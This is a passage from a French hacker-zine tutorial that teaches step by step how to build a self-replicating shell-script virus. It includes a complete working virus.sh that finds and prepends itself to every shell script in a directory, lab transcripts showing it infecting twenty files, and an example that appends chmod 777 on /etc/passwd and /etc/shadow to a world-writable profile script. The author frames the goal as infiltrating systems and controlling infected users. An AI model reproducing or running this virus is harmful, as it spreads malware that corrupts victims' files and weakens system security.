- possibilite de cre un lien dans le repertoire temporaire qui nous donnerait un contrl
commande sur tous les utilisateurs infects.
- possibilite de rajouter des fonctions une fois que le virus est implemant

possibiliter de faire travailler votre imagination est votre creativite, pour infiltrer des
systmes sans tres des moutons du hack moderne...

tout cela vous plait?
alors teignez la musique, dite  mm de baisser le son de la tl, et concentrez votre partie
du cerveau qu'on appelle le cerveau cortical sur les lignes qui vont suivre..

car nous allons commencer...


\\0x03//ETUDE THEORIQUE DE FONCTION
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

notre but et en premier lieu de cre un script auto-reproductible, capable d'infecter tout
shell script!
nous nous trouvons tout de suite devant 5 exigences:

- reconnaitre un shell script d'un autre fichier
- extraire son propre code du code porteur
- pointer le script  infecter
- reconnaitre un script porteur d'un script saint
- ecrire le code virale dans le code cible


001/ reconnaitre un shell script, d'un autre fichier
#####################################################

pour assurrer cette exigence, nous allons nous referez  la commande "file"

"file" est une commande permettant de determiner le type de fichier point par son argument.
(pour plus de detaille, man file)

un petit exemple :
[root@ThreaT@workgroup /root]# file core
core: ELF 32-bit LSB core file of 'kioslave' (signal 11), Intel 80386, version 1
[root@ThreaT@workgroup /root]# file /bin/login
/bin/login: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared
libs), stripped
[root@ThreaT@workgroup /root]#file /sbin/ifdown
/sbin/ifdown: Bourne shell script text

donc, comme on peut le voir, file nous dit  quel type de fichier on a  faire.
dans l'exemple si dessus, on voit que core est un dump memoire gener par kioslave, /bin/login
est un executable 32-bit et /sbin/ifdown est un Bourne shell script (ce qui nous interresse :)

bon, ok, mais comment constituer un script qui feras la diffrence entre tout ce bordel?
trs simple, il suffit de rediriger la sortie de commande dans un fichier tampon que nous
analyserons par la suite a l'aide de la commande grep.

pour exemple, voici un shell script qui va analyser tout les fichiers du repertoire courant, et
nous retourner le nom de tout les Bournes shell scripts

--------cut---------------------
#!/bin/sh
#bsearch.sh by ThreaT
for fichier in * 
do 
file $fichier > /tmp/t 
if grep "shell" /tmp/t > /dev/null; then
echo "$fichier est un Bourne shell script" 
fi 
done
rm -f /tmp/t 
#fin du script
---------cut----------------------

voici le resultat produit dans un repertoire courant comme si dessous:

[root@ThreaT@workgroup /root/script]# chmod +x bsearch.sh
[root@ThreaT@workgroup /root/script]# ls
bsearch.sh*   core    ed*   igawk*   install.log   ping*  remadmin*
[root@ThreaT@workgroup /root/script]# ./bsearch.sh
bsearch.sh est un Bourne shell script
igawk est un Bourne shell script
remadmin est un Bourne shell script
[root@ThreaT@workgroup /root/script]#

ok, maintenant on sait reconnaitre un bourne shell script d'un autre fichier.


010/extraire son propre code du code porteur
################################

pour cela, rien de plus simple, nous allons nous appuyez sur la commande "grep" comme au dessus.
grep est une commande qui affiche les lignes correspondant  un motif donn, c'est  dire que
celui ci peut extraire toute chaine contenant le mme mot (pour plus de prcision, man grep)

un exemple, j'ecrit un fichier texte quelconque

[root@ThreaT@workgroup /root]#vi texte
<i>
!!salut les bob, ceci est un fichier qui vas nous servir de test
c'est a dire que nous allons tenter d'extraire celui ci
pour y lire ce qui nous interresse!!
<esc><:wq!>

maintenant, je vais extraire du texte les lignes contenants un "!!"

[root@ThreaT@workgroup /root]# grep "!!" texte
!!salut les bob, ceci est un fichier qui vas nous servir de test
pour y lire ce qui nous interresse!!
[root@ThreaT@workgroup /root]#

comme vous avez put le remarquer, grep a sortie de notre texte les 2 lignes comportant le motif
qu'on lui a indiqu.
ce qui veut dire que notre code viral doit comporter dans chacune de ces commandes un motif
identique qui pourras tre extrait par grep, mais qui ne doit pas tre dans le code porteur.
sachant que grep differencie les majuscules des minuscules, nous n'aurons pas trop de mal! 

mais ou allons nous placer cette chaine identique qui seras en quelque sorte la "signature" de
notre virus?
ben c'est trs simple, il suffi de la placer en commentaire  chaque fin de commande.

un exemple:
ce petit script va diffrencier les chaines virals, des chaines porteuses  l'interieur de lui
mme

-----cut----------
#!/bin/sh
#virsign.sh, by ThreaT
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine porteuse"
echo "je suis une chaine porteuse"
echo "je suis une chaine porteuse"
echo "je suis une chaine porteuse"
echo "--------------------------"
echo "attention, le petit virus vas sortir"
echo "------------------- ------"
grep  "MvM" $0
echo "il est sortie  l'ecran"
echo "mais il peut sortir aussi dans un fichier"
echo "par simple redirection"
grep  "MvM" $0 > viruss
echo.
echo "si vous ne me croyez pas tapez 'cat viruss'" 
#fin du script
------cut----------

executons cette petite saloperie

[root@ThreaT@workgroup /root/script]# chmod +x virsign.sh
[root@ThreaT@workgroup /root/script]# ./virsign.sh
je suis une chaine viral
je suis une chaine viral
je suis une chaine viral
je suis une chaine viral
je suis une chaine porteuse
je suis une chaine porteuse
je suis une chaine porteuse
je suis une chaine porteuse
--------------------------
attention, le petit virus vas sortir
------------------- ------
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
grep  "MvM" $0
grep  "MvM" $0 > viruss
il est sortie  l'ecran
mais il peut sortir aussi dans un fichier
par simple redirection

si vous ne me croyez pas tapez 'cat viruss'
[root@ThreaT@workgroup /root/script]# ls
bsearch.sh*  core   ed*  gawk*  install.log
ping*  remadmin* virsign.sh*  viruss

on voit bien que le script a cre un nouveau fichier appell viruss

[root@ThreaT@workgroup /root/script]# cat viruss
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
grep  "MvM" $0
grep  "MvM" $0 > viruss
[root@ThreaT@workgroup /root/script]#

et que celui si contient bien les chaines extraites du script porteur
ce qui veut dire que par la suite, nous pourrons rediriger ces quelques lignes  la 
suite d'un script point par notre virus.

tudions sa tout de suite


011/pointer le script  infecter
#####################
si vous avez compris la premire partie, sa va tre trs facile.

pour obtenir une chaine contenant tout les scripts  infecter, nous allons utiliser les
variables d'environnements  l'interieur de notre boucle de recherche, c'est a dire qu'au lieu
de retourner le nom du script trouv dans l'exemple "001" (bsearch.sh)  l'ecran, nous allons
placer ce nom dans une variable d'environnement que nous aurons formats afin que celle si
puisse tre utilise par une autre boucle de type for

ce qui nous donne:

---------cut----------------
#!/bin/sh
#bsearch2.sh by ThreaT
for fichier in * 
do 
file $fichier > /tmp/t 
if grep "shell" /tmp/t > /dev/null; then
var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant
de la facon 'fichier fichier fichier..."
fi 
done
rm -f /tmp/t 
echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient"
echo "                                        -------------------"
echo "$var"
#fin du script
----------cut--------------------

voyons ce que sa donne:

[root@ThreaT@workgroup /root/script]# chmod +x bsearsh2.sh
[root@ThreaT@workgroup /root/script]# ls
bsearch.sh*  bsearch2.sh*  core  ed*  igawk*  install.log
ping*  remadmin*  virsign.sh*  virsign.sh~*  viruss
[root@ThreaT@workgroup /root/script]# ./bsearch2.sh
nous allons maintenant jetter un oeil a $var pour voir ce qu'il contient
                                        -------------------
 bsearch2.sh bsearch2.sh~ bsearch.sh igawk remadmin virsign.sh virsign.sh~


comme on peut le voir dans cet exemple, la chaine d'environnement contient le nom de tout les
shell scripts du repertoire courant, ce qui veut dire que nous allons maintenant pouvoir
assigns cette variable  une boucle for.
et comme nous avons formats la chaine avec des espaces "fichier fichier fichier..." et que for
utilise en argument des chaines spaces, nous allons pouvoir effectuer des manipulations
independentes sur chaque script contenu dans cette variable.

c'est pas la classe sa!

100/reconnaitre un script porteur d'un script saint
###################################

maintenant qu'on sait pointer un script, et le soummettre  de multiple test, il serait
interresant de savoir si celui ci n'est pas deja infect, car si cette vrification n'est pas
assure, c'est toute l'integrite du systme qui risque d' tre compromise pour cause de
sur-infection!
car le virus infecterait toujours les mmes scripts, et ferait evolu la taille des fichiers en
consequence.

heureusement pour nous, l'opration va tre super facile!
on va utiliser notre amis GREP en lui donnant pour argument une chaine UNIQUE compose de
caractres alteres, comme sa, nous serons sur de l'tat du fichier cibl.

un petit exemple:

nous allons apporter une petite modification au script du dessus

----------cut-------------------
#!/bin/sh
#detect.sh by ThreaT
for fichier in * 
do  
file $fichier > /tmp/t 
if grep "shell" /tmp/t > /dev/null; then
var="$var $fichier" 
fi 
done
rm -f /tmp/t 
for inspect in $var
do
if grep "iNFeCtiON" $inspect > /dev/null; then
echo "$inspect est infecter"
fi
done
#fin du script
----------cut-------------------

ok, maintenant, nous allons prendre dans notre repertoire courant un ou deux bourne shell, et
on vas leur foutre la chaine "iNFeCtiON" au cul

[root@ThreaT@workgroup /root/script]# ./bsearch.sh
bsearch2.sh est un Bourne shell script
bsearch2.sh~ est un Bourne shell script
bsearch.sh est un Bourne shell script
detect.sh est un Bourne shell script
igawk est un Bourne shell script
remadmin est un Bourne shell script
virsign.sh est un Bourne shell script
virsign.sh~ est un Bourne shell script
[root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> bsearch2.sh~
[root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> virsign.sh~
[root@ThreaT@workgroup /root/script]# chmod +x detect.sh
[root@ThreaT@workgroup /root/script]# ./detect.sh
bsearch2.sh~ est infecter
detect.sh est infecter
virsign.sh~ est infecter
[root@ThreaT@workgroup /root/script]#

comme vous pouvez le constater, la fonction a parfaitement russie  reconnaitre les fichiers
de type bourne shell script qui possedaient le motif d'infection!!
une petite remarque  ce sujet : j'ai pas ecris "iNFeCtiON" en mixed case pour me la pt, mais
pour tre bien sur que grep reconnaitra ce motif comme une chaine unique. (je dis sa car y'a un
gros lame qui commence  me faire des reflexions derriere mon paule)
"tu frais mieux d'aller bosser sur ton bof plutot que de m'emmerder pendent que j'ecrit"

voila, on c'est debarrassez du lama!

continuons sur notre lancer...


101/ecrire le code virale dans le code cible
##############################

newbie: "je vois pas pourquoi tu va encore nous faire chier!!"
            "on sait tous comment ecrire dans le code cible tu l'a dit tout a l'heure"
            "il suffit juste de faire un redirection des chaines trouves par grep"

ThreaT: "Si seulement sa pouvait tre aussi simple..."

aller va, me dites pas que vous ne l'avez pas penss, vous vous dites qu'un indicateur de
direction de type >> suffiras  satisfaire cette exigence, et vous vous demandez pourquoi je
vais faire une parti pour sa!

en faite ce n'est pas si simple

imaginons que vous tombiez sur un shell appartenant  un tudiant en informatique.

[user@Etudiant@linux user]$ ls -l /etc/profile.d/*.sh
-rwxr-xr-x   1 root     root          672 Mar 13 14:11 /etc/profile.d/alias.sh*
-rwxr-xr-x   1 root     root          191 Mar 13 14:44 /etc/profile.d/color_ls.sh*
-rwxr-xr-x   1 root     root          133 Jan 12 06:36 /etc/profile.d/inputrc.sh*
-rwxr-xr-x   1 root     root          192 Jan  7 15:00 /etc/profile.d/kde.sh*
-rwxr-xr-x   1 root     root         1682 Mar 13 14:18 /etc/profile.d/lang.sh*
-rwxr-xrwx   1 root     root            38 Jun 14 18:48 /etc/profile.d/master.sh*
-rwxr-xr-x   1 root     root          167 Jan  4 22:50 /etc/profile.d/mc.sh*
-rwxr-xr-x   1 root     root          267 Dec 22 18:24 /etc/profile.d/numlock.sh*
-rw-r--r--   1 root     root            0 Feb 23 21:18 /etc/profile.d/proxy.sh
-rwxr-xr-x   1 root     root          103 Dec 21 14:44 /etc/profile.d/screen.sh*
-rwxr-xr-x   1 root     root          152 Mar 13 14:15 /etc/profile.d/xhost.sh*


ho putain le con, il a fait un script  la maverick en write acces pour les users
-rwxr-xrwx  1 root     root            38 Jun 14 18:48 /etc/profile.d/master.sh*

tout content, vous voulez faire comme dans l'article que vous avez lu dans votre jeunesse!
[user@Etudiant@linux user]$ chmod 777 /etc/passwd && chmod 777 /etc/shadow >>
/etc/profile.d/master.sh [user@Etudiant@linux user]$

le lendemain...

[user@Etudiant@linux user]$ ls -l /etc/passwd /etc/shadow
-rw-r--r--    1 root     root          796 Mar 13 13:58 /etc/passwd
-rw-------   1 root     root          712 Mar 13 13:58 /etc/shadow
[user@Etudiant@linux user]$ heeuu merde!!
bash : heeuu: command not found
[user@etudiant@linux user]$

mais pourquoi sa n'a pas march??

[user@Etudiant@linux user]$ cat /etc/profile.d/master.sh
#!/bin/sh
echo "bonjour matre"
exit 0
chmod 777 /etc/passwd && chmod 777 /etc/shadow
[user@Etudiant@linux user]$

et oui, il fallait s'y attendre!
normalemment, tout bon codeur qui a appris pour avoir une bonne note  l'cole sait qu'il faut
toujours terminer son script par un signal positif ou negatif (selon erreur ou pas) donc par
exit 0 ou exit 1.
ce qui fait que notre commande qui a t ajoute par le redirecteur de chaine >> "append" est
bais, car le processus rencontre la commande de terminaison du script avant notre fucked
commande

dans le cas on l'on agit manuellement, la solution serais de mettre notre commande au debut du
script! ok
mais dans le cas ou l'on fait un script qui va s'auto-repliquer, si celui si infecte un script
ce terminant par exit, et ben on est bais jusqu'a l'os!

But What is ZE solution?

la solution  apporte va ce faire en 3 temps

1-extraire le code cible dans un fichier temporaire
2-ecrire notre code viral en ecrasant le code cible
3-ajouter le code cible contenu dans le fichier temporaire  la fin de notre code viral

=================================demonstration===========================

*************************environnement***************************

----------cible.sh-------------------
#!/bin/sh
echo "je suis un fichier innocent"
-----------------------------------

---------virus.sh--------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
------------------------------------

-----------temp--------------------

----------------------------------

********************************************************************
*******************************************************************
les commandes :

####################################################
1/extraire le code cible dans un fichier temporaire
####################################################

commande: {
cat cible.sh > temp
}

incidence : {
-----------cible.sh---------------
#!/bin/sh                                     
echo "je suis un script innocent" 
--------------------------------

----------temp-------------------
#!/bin/sh
echo "je suis un script innocent"
--------------------------------
}

####################################################
2-ecrire notre code viral en ecrasant le code cible
####################################################

commandes: {
echo "#!/bin/sh" > cible.sh
grep "signature" $0 >> cible.sh
}

incidence: {
---------virus.sh--------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
------------------------------------

----------cible.sh-------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
-----------------------------------
}

######################################################################################
3-ajouter le code cible contenu dans le fichier temporaire  la fin de note code viral
######################################################################################

commande: {
cat temp >> cible.sh
}

incidence: {
----------temp-------------------
#!/bin/sh
echo "je suis un script innocent"
--------------------------------

----------cible.sh-------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
#!/bin/sh
echo "je suis un script innocent"
-----------------------------------
}

voila, on peut pas faire plus simple.
en faite je viens de vous montrez une facon, mais en reflechissant bien, il serais mieux de
constituer d'abord le virus integr  son code porteur dans le fichier temporaire, et ecraser
la cible par le tout! cela serais un peu plus scure... enfin bon, on s'en fou!

bon, maintenant qu'on a trouvs comment satisfaire les exigences pour pouvoir mettre sur pied
un virus SSI basic nous allons coller tout les morceaux pour voir ce que sa donne en realite.


\\0x04// MISE EN PLACE DU CODE
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

nous allons mettre tout les elements indiqus si dessus bout  bout, pour donner naissance  un
jeune virus sans experiance. 
allez maman, poussez fort!!

les tapes :
1/recenser les victimes potentielles
2/regarder si la victime potentielle est deja porteuse du virus
3/infecter la victime si celle si est encore saine (j'allait dire vierge, mais on va me prendre
pour un pervert)

voyons de quoi nous disposons

####################################
1/recenser les victimes potentielles
####################################

code a disposition:
********************

#!/bin/sh
#bsearch2.sh by ThreaT
for fichier in * 
do 
file $fichier > /tmp/t 
if grep "shell" /tmp/t > /dev/null; then
var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant de
la facon 'fichier fichier fichier..."
fi 
done
rm -f /tmp/t 
echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient"
echo "                                    -------------------"
echo "$var"
#fin du script


###############################################################
2/regarder si la victime potentielle est deja porteuse du virus
###############################################################

code a disposition:
*******************
for inspect in $var
do
if grep "iNFeCtiON" $inspect > /dev/null; then
echo "$inspect est infecter"
fi
done

###############################################################
3/infecter la victime si celle si est encore vierge
(en fin de compte, je me suis dit que j'etais un gros pervert)
###############################################################

code a disposition:
*******************

cat cible.sh > temp
echo "#!/bin/sh" > cible.sh
grep 'signature" $0 >> cible.sh
cat temp >> cible.sh
rm -f temp 

que l'on vas remplacer par:

echo "#!/bin/sh" > temp
grep "signature" $0 >> temp
cat cible.sh >> temp
cat temp > cible.sh 

cette version est un peut plus scure, car si un blme vient  survenir lors de l'appelle
de l'une des 3 premires commandes, la cible n'est pas detruite.

==================================================================================
on va maintenant fusionner tout sa !! en optimisant un peu le nom des variables 
(c'est que sa prend vite de la place)
================================================================================

---------virus.sh------------
#!/bin/sh
echo "virus.sh version 0.0 by ThreaT" #MvM
echo "     a titre experimantal" #MvM
for f in * #MvM 
do #MvM 
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
echo "#!/bin/sh" > /tmp/t #MvM 
grep "MvM" $0 >> /tmp/t #MvM 
cat $i >> /tmp/t #MvM 
cat /tmp/t > $i #MvM 
done #MvM 
rm -f /tmp/t #MvM 
#fin du virus
--------------------------------

et voila, notre tout premier virus ultra basic qui ne pense qu' niquer!
le virus primaire, trivial, le gros truc qui ne survivra pas une seconde sur un serveur...

avouez que vous avez hate de voir comment sa reagit, hein?


\\0x05//OBSERVATION EN LABORATOIRE
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

pour notre premier essai, nous allons constituer un repertoire ddi  la prolifration de
notre bestiol.
comme celui si n'a pas de fonction d'exportabilite hors du repertoire courant, ce seras
facilement controlable.

-------------debut de l'observation------------------
-----------------------------------------------
-------avec commentaires pour les novices du shell-------
-----------------------------------------------


/*tout d'abbord, on vas specifier le bit d'execution  notre virus */
[root@ThreaT@workgroup /root/script/virii]# chmod +x virus.sh

/*ici on cre un script pourris, qui feras office de victime */
[root@ThreaT@workgroup /root/script/virii]# vi innocent
<i>
#!/bin/sh
echo "je suis innocent!"
<esc><:wq!>

/* le script cre, on lui assigne le bit d'execution */
[root@ThreaT@workgroup /root/script/virii]# chmod +x innocent

/* et on le lance, pour voir si il marche bien */
[root@ThreaT@workgroup /root/script/virii]# ./innocent
je suis innocent!

/*ok, maintenant, observons notre repertoire */
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 8
-rwxr-xr-x   1 root     root           34 Mar 14 00:15 innocent*
-rwxr-xr-x   1 root     root          468 Mar 14 00:12 virus.sh*

/* je tiens  attirer votre attention sur le faite que "innocent" fait 34 octets */

/*executons notre virus*/
[root@ThreaT@workgroup /root/script/virii]# ./virus.sh
virus.sh version 0.0 by ThreaT
     a titre experimantal
/*sa, c'est le petit message pour ce la pt! mais  par sa, y'a pas de messages d'erreurs*/

/*rejettons un oeil sur notre repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 8
-rwxr-xr-x   1 root     root          488 Mar 14 00:18 innocent*
-rwxr-xr-x   1 root     root          468 Mar 14 00:12 virus.sh*
/* tiens, "innocent fait 488 octet? mais comment sa ce fait? */

/* on rexecute "innocent" */
[root@ThreaT@workgroup /root/script/virii]# ./innocent
virus.sh version 0.0 by ThreaT
     a titre experimantal
je suis innocent
/* plus si innocent que sa  ce que je vois */

/* regardons le corp du script pour voir */
[root@ThreaT@workgroup /root/script/virii]# cat innocent
#!/bin/sh
echo "virus.sh version 0.0 by ThreaT" #MvM
echo "     a titre experimantal" #MvM
for f in * #MvM 
do #MvM 
file $f > /tmp/t #MvM 
if grep "shell" /tmp/t > /dev/null; then #MvM 
v="$v $f" #MvM 
fi #MvM 
done #MvM 
for i in $v #MvM 
do #MvM 
if grep "ViRuS" $i > /dev/null; then #MvM 
continue #MvM 
fi #MvM 
echo "#!/bin/sh" > /tmp/t #MvM 
grep "MvM" $0 >> /tmp/t #MvM 
cat $i >> /tmp/t #MvM 
cat /tmp/t > $i #MvM 
done #MvM 
rm -f /tmp/t #MvM 
#!/bin/sh
echo "je suis innocent"
/* bingo! la cible est parfaitement infecte */

----------------------------------------------------
bon, maintenant, on va regarder si notre script "innocent" est capable
d'infecter un autre script idiot
----------------------------------------------------

/*creation du script idiot */
[root@ThreaT@workgroup /root/script/virii]# vi idiot
<i>
#!/bin/sh
echo "je suis un script idiot"
<esc><:wq!>

/*assignation du bit d'execution */
[root@ThreaT@workgroup /root/script/virii]# chmod +x idiot

/*observation du repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 12
-rwxr-xr-x   1 root     root           42 Mar 14 00:40 idiot*
-rwxr-xr-x   1 root     root          488 Mar 14 00:18 innocent*
-rwxr-xr-x   1 root     root          468 Mar 14 00:12 virus.sh*

/*comme d'hab, vous avez bien observ le nombre d'octet de "idiot" */

/*execution du script "innocent"*/
[root@ThreaT@workgroup /root/script/virii]# ./innocent
virus.sh version 0.0 by ThreaT
     a titre experimantal
je suis innocent

/*on rejette un oeil au repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
-rwxr-xr-x   1 root     root          496 Mar 14 00:40 idiot*
-rwxr-xr-x   1 root     root          488 Mar 14 00:18 innocent*
-rwxr-xr-x   1 root     root          468 Mar 14 00:12 virus.sh*
/* et hop, innocent  infect idiot */

ha la la, ces jeunes, ils ne pensent qu' ce reproduires...

maintenant, nous allons tout effacer (sauf idiot)
puis nous allons cre un petite 20ene de scripts pour voir si idiot est capable de ce
reproduire dans les 20!

[root@ThreaT@workgroup /root/script/virii]# rm virus.sh
rm: remove 'virus.sh"? y
[root@ThreaT@workgroup /root/script/virii]#rm innocent
rm: remove 'innocent'? y

/*on cre le script test original*/
[root@ThreaT@workgroup /root/script/virii]# vi testt
<i>
#!/bin/sh
echo "je suis un programme test"
<esc><:wq!>

/*on cre un script pour en copier 20 (vous aviez pas cru que j'allait m'y pallucher 
la main?")*/
[root@ThreaT@workgroup /root/script/virii]# vi sccopy
<i>
#!/bin/sh
a=1
while [  "$a" -le 20  ]; do
cp testt testt$a
a=$(($a+1))
done
<esc><:wq!>

/*celui la, on le met en bit exec*/
[root@ThreaT@workgroup /root/script/virii]#chmod +x sccopy

/* on l'execute */
[root@ThreaT@workgroup /root/script/virii]# ./sccopy

/*on liste le repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 92
-rwxr-xr-x   1 root     root          496 Mar 14 00:41 idiot*
-rwxr-xr-x   1 root     root           74 Mar 14 01:09 sccopy*
-rw-r--r--   1 root     root           43 Mar 14 00:50 testt
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt1
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt10
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt11
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt12
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt13
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt14
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt15
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt16
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt17
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt18
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt19
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt2
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt20
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt3
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt4
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt5
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt6
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt7
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt8
-rw-r--r--   1 root     root           43 Mar 14 01:08 testt9

/*on en test un au hazard*/
[root@ThreaT@workgroup /root/script/virii]# sh ./testt6
je suis un programme test

/*ok, maintenant que tout beigne, on va voir si idiot est capable de ce reproduire sur tout le
repertoire*/
/*et on va mme observer combien de temp il met*/
[root@ThreaT@workgroup /root/script/virii]# time ./idiot
virus.sh version 0.0 by ThreaT
     a titre experimantal
je suis un script idiot
0.61user 0.18system 0:00.79elapsed 99%CPU(0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (15119major+8931minor)pagefaults 0swaps

/* comme vous pouvez le voir, l'operation a durer 79 dixieme et a utiliser 99% du CPU, ce que
je trouve */
/* quand meme pas mal pour un code interprt */

/* bon, on liste*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 92
-rwxr-xr-x   1 root     root          496 Mar 14 00:41 idiot*
-rwxr-xr-x   1 root     root          528 Mar 14 01:15 sccopy*
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt1
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt10
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt11
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt12
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt13
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt14
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt15
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt16
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt17
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt18
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt19
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt2
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt20
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt3
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt4
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt5
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt6
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt7
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt8
-rw-r--r--   1 root     root          497 Mar 14 01:15 testt9
[root@ThreaT@workgroup /root/script/virii]#
/* ok, sa nique fort!! */


comme nous avons put l'observer, le virus marche  merveille, seulement il est vraiment trop
basic, pourquoi :
- celui ci ne ce reproduit que dans le repertoire courant
- il ne contient aucune chaine de test d'ecriture
- de plus, il contient beaucoup de bug en environnement user 

on va regarder sa tout de suite:


\\0x06//DEBUGGING & AJOUT DE FONCTION
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

deboguer un script de shell ne prsente normalement guere de difficultes, bien qu'il n'existe
pas d'outils spcifiques dedis  cet effet.
lorsque une erreur ce produit, le shell imprime en general le numero de la ligne  l'origine de
l'erreur. si celle ci n'est pas vidente, il est possible d'ajouter quelques insctructions
"echo" supplementaires afin d'afficher le contenu des variables, ainsi que de tester 
le code par portion en les saisissants simplement dans le shell de magniere interactive.

un script etant interpret, il n'y a pas de perte de temp due a la compilation lorsque vous le
modifis et le tests.

le meilleur moyen de detecter des erreurs plus subtils consiste  utiliser certaines options du
shell. cela peut tre ralis soit  l'aide des options de la ligne de commande, soit a l'aide
de la commande "set". voici un resumer des principales options

Option de la ligne de commande   option set                                 description
-----------------------        --------------               -----------------------
sh -n <script>            set -o noexec                    recherche uniquement les erreurs de 
                          set -n                            syntaxe sans executer de commande    


sh -v <script>           set -o verbose                     affiche les commandes (echo) avant
                         set -v                                 de les executer.

sh -x <script>           set -o xtrace                    affiche les commandes apres les avoir
                         set -x                             executes sur la ligne de commande   

voila, une petite note pour votre info.

////////////////////////////////////////////////////////////////////////////
evolution du code dans un environnement proteger
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


/* on vas tout d'abbors ecrire un generateur de script innocent */
[user@ThreaT@workgroup test]$ vi sgen.sh
<i>

#!/bin/sh
#generateur de script innocent, by ThreaT
nbr=1
echo -n "nombre de script innocent a generer : "
read nbr
cat > innocent << EoF
#!/bin/sh
echo "je suis un script innocent"
EoF
chmod +x innocent
a=1
while [  "$a" -le $nbr  ]; do
cp innocent innocent$a
a=$(($a+1))
done
<esc><:wq!>

/* remarque : j'ai mis un espace entre #!/bin/sh et le debut du script */
/* j'expliquerais pourquoi apres */

[user@ThreaT@workgroup test]$ chmod 777 sgen.sh
[user@ThreaT@workgroup test]$ ./sgen.sh
nombre de script innocent a generer : 10
[user@ThreaT@workgroup test]$ ls -l
total 48
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent1*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent10*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent2*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent3*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent4*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent5*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent6*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent7*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent8*
-rwxr-xr-x   1 user     user           44 Mar 14 13:25 innocent9*
-rwxrwxrwx   1 user     user          279 Mar 14 13:20 sgen.sh*
[user@ThreaT@workgroup test]$ ./innocent3
je suis un script innocent
[user@ThreaT@workgroup test]$

/* ok maintenant, nous allons mettre certain de ces scripts non accessible en ecriture */

